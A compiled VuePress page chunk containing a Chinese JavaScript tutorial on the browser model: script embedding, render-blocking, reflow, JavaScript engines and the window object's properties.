blog_web/assets/js/142.d7c4dea7.js

(window.webpackJsonp=window.webpackJsonp||[]).push([[142],{474:function(t,s,a){"use strict";a.r(s);var n=a(3),e=Object(n.a)({},(function(){var t=this,s=t._self._c;return s("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[s("h1",{attrs:{id:"浏览器模型"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#浏览器模型"}},[t._v("#")]),t._v(" 浏览器模型")]),t._v(" "),s("h2",{attrs:{id:"一、浏览器环境概述"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#一、浏览器环境概述"}},[t._v("#")]),t._v(" 一、浏览器环境概述")]),t._v(" "),s("p",[s("strong",[t._v("JavaScript 是浏览器的内置脚本语言")]),t._v("。也就是说，浏览器内置了 JavaScript 引擎，并且提供各种接口，让 JavaScript 脚本可以控制浏览器的各种功能。一旦网页内嵌了 JavaScript 脚本，浏览器加载网页，就会去执行脚本，从而达到操作浏览器的目的，实现网页的各种动态效果。")]),t._v(" "),s("p",[t._v("本章开始介绍浏览器提供的各种 JavaScript 接口。首先，介绍 JavaScript 代码嵌入网页的方法。")]),t._v(" "),s("h3",{attrs:{id:"_1、代码嵌入网页的方法"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1、代码嵌入网页的方法"}},[t._v("#")]),t._v(" 1、代码嵌入网页的方法")]),t._v(" "),s("p",[t._v("网页中嵌入 JavaScript 代码，主要有三种方法。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("<script>")]),t._v("元素直接嵌入代码。")]),t._v(" "),s("li",[s("code",[t._v("<script>")]),t._v("标签加载外部脚本")]),t._v(" "),s("li",[t._v("事件属性")]),t._v(" "),s("li",[t._v("URL 协议")])]),t._v(" "),s("h4",{attrs:{id:"_1-1-script-元素嵌入代码"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1-1-script-元素嵌入代码"}},[t._v("#")]),t._v(" 1.1 script 元素嵌入代码")]),t._v(" "),s("p",[s("code",[t._v("<script>")]),t._v("元素内部可以直接写 JavaScript 代码。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("script")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token script"}},[s("span",{pre:!0,attrs:{class:"token language-javascript"}},[t._v("\n  "),s("span",{pre:!0,attrs:{class:"token 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punctuation"}},[t._v(">")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("p",[s("code",[t._v("<script>")]),t._v("标签有一个type属性，用来指定脚本类型。对 JavaScript 脚本来说，type属性可以设为两种值。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("text/javascript")]),t._v("：这是默认值，也是历史上一贯设定的值。如果你省略"),s("code",[t._v("type")]),t._v("属性，默认就是这个值。对于老式浏览器，设为这个值比较好。")]),t._v(" "),s("li",[s("code",[t._v("application/javascript")]),t._v("：对于较新的浏览器，建议设为这个值。")])]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("script")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("type")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("application/javascript"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token script"}},[s("span",{pre:!0,attrs:{class:"token language-javascript"}},[t._v("\n  console"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'Hello World'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("上面的代码，浏览器不会执行，也不会显示它的内容，因为不认识它的"),s("code",[t._v("type")]),t._v("属性。但是，这个"),s("code",[t._v("<script>")]),t._v("节点依然存在于 DOM 之中，可以使用"),s("code",[t._v("<script>")]),t._v("节点的"),s("code",[t._v("text")]),t._v("属性读出它的内容。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getElementById")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'mydata'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token 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attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("https://www.example.com/script.js"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token script"}}),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("</")]),t._v("script")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("如果脚本文件使用了非英语字符，还应该注明字符的编码。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token 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script"}}),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("</")]),t._v("script")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("所加载的脚本必须是纯的 JavaScript 代码，不能有"),s("code",[t._v("HTML")]),t._v("代码和"),s("code",[t._v("<script>")]),t._v("标签。")]),t._v(" "),s("p",[s("strong",[t._v("加载外部脚本和直接添加代码块，这两种方法不能混用")]),t._v("。下面代码的"),s("code",[t._v("console.log")]),t._v("语句直接被忽略。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("script")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("charset")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("utf-8"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("src")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("example.js"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token script"}},[s("span",{pre:!0,attrs:{class:"token language-javascript"}},[t._v("\n  console"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'Hello World!'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 被忽略")]),t._v("\n")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("</")]),t._v("script")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("为了防止攻击者篡改外部脚本，"),s("code",[t._v("script")]),t._v("标签允许设置一个"),s("code",[t._v("integrity")]),t._v("属性，写入该外部脚本的 Hash 签名，用来验证脚本的一致性。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("script")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("src")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("/assets/application.js"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("integrity")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("sha256-TvVUHzSfftWg1rcfL6TIJ0XKEGrgLyEq6lEpcmrG9qs="),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token script"}},[s("span",{pre:!0,attrs:{class:"token language-javascript"}},[t._v("\n")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("</")]),t._v("script")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("上面代码中，"),s("code",[t._v("script")]),t._v("标签有一个"),s("code",[t._v("integrity")]),t._v("属性，指定了外部脚本"),s("code",[t._v("/assets/application.js")]),t._v("的 SHA256 签名。一旦有人改了这个脚本，导致 SHA256 签名不匹配，浏览器就会拒绝加载。")]),t._v(" "),s("h4",{attrs:{id:"_1-3-事件属性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1-3-事件属性"}},[t._v("#")]),t._v(" 1.3 事件属性")]),t._v(" "),s("p",[t._v("网页元素的事件属性（比如"),s("code",[t._v("onclick")]),t._v("和"),s("code",[t._v("onmouseover")]),t._v("），可以写入 JavaScript 代码。当指定事件发生时，就会调用这些代码。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("button")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("myBtn"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token special-attr"}},[s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("onclick")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),s("span",{pre:!0,attrs:{class:"token value javascript language-javascript"}},[t._v("console"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("id"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("点击"),s("span",{pre:!0,attrs:{class:"token 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代码返回一个字符串，浏览器就会新建一个文档（document），展示这个字符串的内容，原有文档的内容都会消失。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("a")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("href")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("javascript: new Date().toLocaleTimeString();"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("点击"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("上面这两种写法，点击链接后，执行代码都不会网页跳转。")]),t._v(" "),s("h3",{attrs:{id:"_2、script-元素"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2、script-元素"}},[t._v("#")]),t._v(" 2、script 元素")]),t._v(" "),s("h4",{attrs:{id:"_2-1-工作原理"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-1-工作原理"}},[t._v("#")]),t._v(" 2.1 工作原理")]),t._v(" "),s("p",[t._v("浏览器加载 JavaScript 脚本，主要通过"),s("code",[t._v("<script>")]),t._v("元素完成。正常的网页加载流程是这样的。")]),t._v(" "),s("ol",[s("li",[t._v("浏览器一边下载 HTML 网页，一边开始解析。也就是说，不等到下载完，就开始解析。")]),t._v(" "),s("li",[t._v("解析过程中，浏览器发现"),s("code",[t._v("<script>")]),t._v("元素，就暂停解析，把网页渲染的控制权转交给 JavaScript 引擎。")]),t._v(" "),s("li",[t._v("如果"),s("code",[t._v("<script>")]),t._v("元素引用了外部脚本，就下载该脚本再执行，否则就直接执行代码。")]),t._v(" "),s("li",[t._v("JavaScript 引擎执行完毕，控制权交还渲染引擎，恢复往下解析 HTML 网页。")])]),t._v(" "),s("p",[t._v("加载外部脚本时，浏览器会暂停页面渲染，等待脚本下载并执行完成后，再继续渲染。原因是 JavaScript 代码可以修改 DOM，所以必须把控制权让给它，否则会导致复杂的线程竞赛的问题。")]),t._v(" "),s("p",[t._v("如果外部脚本加载时间很长（一直无法完成下载），那么浏览器就会一直等待脚本下载完成，造成网页长时间失去响应，浏览器就会呈现“假死”状态，这被称为“阻塞效应”。")]),t._v(" "),s("p",[t._v("为了避免这种情况，较好的做法是"),s("strong",[t._v("将"),s("code",[t._v("<script>")]),t._v("标签都放在页面底部，而不是头部")]),t._v("。这样即使遇到脚本失去响应，网页主体的渲染也已经完成了，用户至少可以看到内容，而不是面对一张空白的页面。如果某些脚本代码非常重要，一定要放在页面头部的话，最好直接将代码写入页面，而不是连接外部脚本文件，这样能缩短加载时间。")]),t._v(" "),s("p",[t._v("脚本文件都放在网页尾部加载，还有一个好处。因为在 DOM 结构生成之前就调用 DOM 节点，JavaScript 会报错，如果脚本都在网页尾部加载，就不存在这个问题，因为这时 DOM 肯定已经生成了。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("head")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token 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"),s("li",[t._v("不要一项一项地改变样式，而是使用 CSS class 一次性改变样式。")]),t._v(" "),s("li",[t._v("使用"),s("code",[t._v("documentFragment")]),t._v("操作 DOM")]),t._v(" "),s("li",[t._v("动画使用"),s("code",[t._v("absolute")]),t._v("定位或"),s("code",[t._v("fixed")]),t._v("定位，这样可以减少对其他元素的影响。")]),t._v(" "),s("li",[t._v("只在必要时才显示隐藏元素。")]),t._v(" "),s("li",[t._v("使用"),s("code",[t._v("window.requestAnimationFrame()")]),t._v("，因为它可以把代码推迟到下一次重流时执行，而不是立即要求页面重流。")]),t._v(" "),s("li",[t._v("使用虚拟 DOM（virtual DOM）库。")])]),t._v(" "),s("p",[t._v("下面是一个"),s("code",[t._v("window.requestAnimationFrame()")]),t._v("对比效果的例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 重绘代价高")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("doubleHeight")]),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br"),s("span",{staticClass:"line-number"},[t._v("16")]),s("br"),s("span",{staticClass:"line-number"},[t._v("17")]),s("br"),s("span",{staticClass:"line-number"},[t._v("18")]),s("br")])]),s("p",[t._v("上面的第一段代码，每读一次 DOM，就写入新的值，会造成不停的重排和重流。第二段代码把所有的写操作，都累积在一起，从而 DOM 代码变动的代价就最小化了。")]),t._v(" "),s("h4",{attrs:{id:"_3-3-javascript-引擎"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-3-javascript-引擎"}},[t._v("#")]),t._v(" 3.3 JavaScript 引擎")]),t._v(" "),s("p",[t._v("JavaScript 引擎的主要作用是，读取网页中的 JavaScript 代码，对其处理后运行。")]),t._v(" "),s("p",[t._v("JavaScript 是一种解释型语言，也就是说，它不需要编译，由解释器实时运行。这样的好处是运行和修改都比较方便，刷新页面就可以重新解释；缺点是每次运行都要调用解释器，系统开销较大，运行速度慢于编译型语言。")]),t._v(" "),s("p",[t._v("为了提高运行速度，目前的浏览器都将 JavaScript 进行一定程度的编译，生成类似字节码（bytecode）的中间代码，以提高运行速度。")]),t._v(" "),s("p",[t._v("早期，浏览器内部对 JavaScript 的处理过程如下：")]),t._v(" "),s("ol",[s("li",[t._v("读取代码，进行词法分析（Lexical analysis），将代码分解成词元（token）。")]),t._v(" "),s("li",[t._v("对词元进行语法分析（parsing），将代码整理成“语法树”（syntax tree）。")]),t._v(" "),s("li",[t._v("使用“翻译器”（translator），将代码转为字节码（bytecode）。")]),t._v(" "),s("li",[t._v("使用“字节码解释器”（bytecode interpreter），将字节码转为机器码。")])]),t._v(" "),s("p",[t._v("逐行解释将字节码转为机器码，是很低效的。为了提高运行速度，现代浏览器改为采用“即时编译”（Just In Time compiler，缩写 JIT），即字节码只在运行时编译，用到哪一行就编译哪一行，并且把编译结果缓存（inline cache）。通常，一个程序被经常用到的，只是其中一小部分代码，有了缓存的编译结果，整个程序的运行速度就会显著提升。")]),t._v(" "),s("p",[t._v("字节码不能直接运行，而是运行在一个虚拟机（Virtual Machine）之上，一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码，有的 JavaScript 虚拟机基于源码，即只要有可能，就通过 JIT（just in time）编译器直接把源码编译成机器码运行，省略字节码步骤。这一点与其他采用虚拟机（比如 Java）的语言不尽相同。这样做的目的，是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机：")]),t._v(" "),s("ul",[s("li",[s("a",{attrs:{href:"https://en.wikipedia.org/wiki/Chakra_(JScript_engine)",target:"_blank",rel:"noopener noreferrer"}},[t._v("Chakra"),s("OutboundLink")],1),t._v(" (Microsoft Internet Explorer)")]),t._v(" "),s("li",[s("a",{attrs:{href:"https://en.wikipedia.org/wiki/WebKit#JavaScriptCore",target:"_blank",rel:"noopener noreferrer"}},[t._v("Nitro/JavaScript Core"),s("OutboundLink")],1),t._v(" (Safari)")]),t._v(" "),s("li",[s("a",{attrs:{href:"https://dev.opera.com/articles/view/labs-carakan/",target:"_blank",rel:"noopener noreferrer"}},[t._v("Carakan"),s("OutboundLink")],1),t._v(" (Opera)")]),t._v(" "),s("li",[s("a",{attrs:{href:"https://developer.mozilla.org/en-US/docs/SpiderMonkey",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpiderMonkey"),s("OutboundLink")],1),t._v(" (Firefox)")]),t._v(" "),s("li",[s("a",{attrs:{href:"https://en.wikipedia.org/wiki/Chrome_V8",target:"_blank",rel:"noopener noreferrer"}},[t._v("V8"),s("OutboundLink")],1),t._v(" (Chrome, Chromium)")])]),t._v(" "),s("h2",{attrs:{id:"二、window-对象"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#二、window-对象"}},[t._v("#")]),t._v(" 二、window 对象")]),t._v(" "),s("h3",{attrs:{id:"_1、概述"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1、概述"}},[t._v("#")]),t._v(" 1、概述")]),t._v(" "),s("p",[t._v("浏览器里面，"),s("code",[t._v("window")]),t._v("对象（注意，"),s("code",[t._v("w")]),t._v("为小写）"),s("strong",[t._v("指当前的浏览器窗口。它也是当前页面的顶层对象")]),t._v("，即最高一层的对象，所有其他对象都是它的下属。一个变量如果未声明，那么默认就是顶层对象的属性。")]),t._v(" "),s("div",{staticClass:"language-js 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string"}},[t._v("'Hello World!'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nconsole"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("name"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "Hello World!"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("该属性只能保存字符串，如果写入的值不是字符串，会自动转成字符串。各个浏览器对这个值的储存容量有所不同，但是一般来说，可以高达几MB。")]),t._v(" "),s("p",[t._v("只要浏览器窗口不关闭，这个属性是不会消失的。举例来说，访问"),s("code",[t._v("a.com")]),t._v("时，该页面的脚本设置了"),s("code",[t._v("window.name")]),t._v("，接下来在同一个窗口里面载入了"),s("code",[t._v("b.com")]),t._v("，新页面的脚本可以读到上一个网页设置的"),s("code",[t._v("window.name")]),t._v("。页面刷新也是这种情况。一旦浏览器窗口关闭后，该属性保存的值就会消失，因为这时窗口已经不存在了。")]),t._v(" "),s("blockquote",[s("p",[t._v("笔记：该属性是定义在浏览器窗口对象window上的，跟访问的站点没有关系，就是说定义了该属性，再访问其他站点时，该属性依然存在。")])]),t._v(" "),s("h4",{attrs:{id:"_2-2-window-closed-窗口是否关闭-window-opener-打开当前窗口的父窗口对象"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-2-window-closed-窗口是否关闭-window-opener-打开当前窗口的父窗口对象"}},[t._v("#")]),t._v(" 2.2 window.closed 窗口是否关闭，window.opener 打开当前窗口的父窗口对象")]),t._v(" "),s("p",[s("code",[t._v("window.closed")]),t._v("属性返回一个布尔值，表示"),s("strong",[t._v("窗口是否关闭")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("closed 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"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("popup "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("!==")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("null")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("&&")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("!")]),t._v("popup"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("closed"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 窗口仍然打开着")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("p",[s("code",[t._v("window.opener")]),t._v("属性表示"),s("strong",[t._v("打开当前窗口的父窗口对象")]),t._v("。如果当前窗口没有父窗口（即直接在地址栏输入打开），则返回"),s("code",[t._v("null")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("opener "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("===")]),t._v(" window 